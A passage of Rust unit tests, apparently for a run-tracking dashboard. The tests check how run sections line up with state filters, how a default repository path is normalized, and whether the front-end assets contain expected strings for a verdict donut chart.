14983 .trim()
14984 .trim_start_matches('[')
14985 .trim_end_matches(']')
14986 .split(',')
14987 .map(|s| s.trim().trim_matches('"'))
14988 .filter(|s| !s.is_empty())
14989 .collect();
14990
14991 let shapes: Vec<(bool, String, bool, bool)> = shapes
14992 .into_iter()
14993 .map(|(waiting, status, dead)| {
14994 let done = !not_done.contains(&status.as_str());
14995 (waiting, status, dead, done)
14996 })
14997 .collect();
14998
14999 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15003 if waiting {
15004 return "waiting";
15005 }
15006 if dead
15007 && !matches!(
15008 status,
15009 "merged"
15010 | "ready"
15011 | "stalled"
15012 | "blocked"
15013 | "failed"
15014 | "verified_noop"
15015 | "superseded"
15016 | "already_in_base"
15017 )
15018 {
15019 return "stale";
15020 }
15021 match status {
15022 "merged" | "ready" => "landed",
15023 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15024 | "already_in_base" => "ended",
15025 _ => "flight",
15026 }
15027 }
15028
15029 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15032 match filter_key {
15033 "active" => !done,
15034 "flight" => !done && !waiting && !dead,
15035 "stale" => !done && !waiting && dead,
15036 "waiting" => waiting,
15037 "done" => done,
15038 "all" => true,
15039 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15040 }
15041 }
15042
15043 let compatible = |section: &str, filter_key: &str| {
15044 shapes.iter().any(|(waiting, status, dead, done)| {
15045 run_section(*waiting, status, *dead) == section
15046 && filter_matches(filter_key, *waiting, *dead, *done)
15047 })
15048 };
15049
15050 let expected = [
15055 ("waiting", [true, false, false, true, true, true]),
15056 ("stale", [true, false, true, false, false, true]),
15057 ("flight", [true, true, false, false, false, true]),
15058 ("landed", [false, false, false, false, true, true]),
15059 ("ended", [false, false, false, false, true, true]),
15060 ];
15061 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15062
15063 for (section, wants) in expected {
15064 for (filter_key, want) in filter_keys.iter().zip(wants) {
15065 assert_eq!(
15066 compatible(section, filter_key),
15067 want,
15068 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15069 );
15070 }
15071 }
15072
15073 assert!(
15076 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15077 );
15078 assert!(APP_JS.contains(
15079 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15080 ));
15081 assert!(APP_JS.contains(
15082 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15083 ));
15084 }
15085
15086 #[tokio::test]
15087 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15088 let dir = tempfile::tempdir().expect("tempdir");
15092 let explicit = dir.path().join("not-a-checkout");
15093 std::fs::create_dir_all(&explicit).expect("create dir");
15094 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15095
15096 let missing = dir.path().join("does-not-exist-at-all");
15097 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15098 }
15099
15100 #[test]
15101 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15102 assert!(APP_JS.contains("function statsDonutArcs"));
15103 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15104 assert!(APP_JS.contains("function statusInBucket"));
15106 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15107 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15108 let buckets = [
15109 "merged",
15110 "ready",
15111 "in_progress",
15112 "blocked",
15113 "failed",
15114 "verified_noop",
15115 "superseded",
15116 "stalled",
15117 ];
15118 for key in buckets {
15119 let var = format!("--verdict-{key}:");
15120 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15122 assert!(
15123 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15124 "{key}"
15125 );
15126 }
15127 }
15128}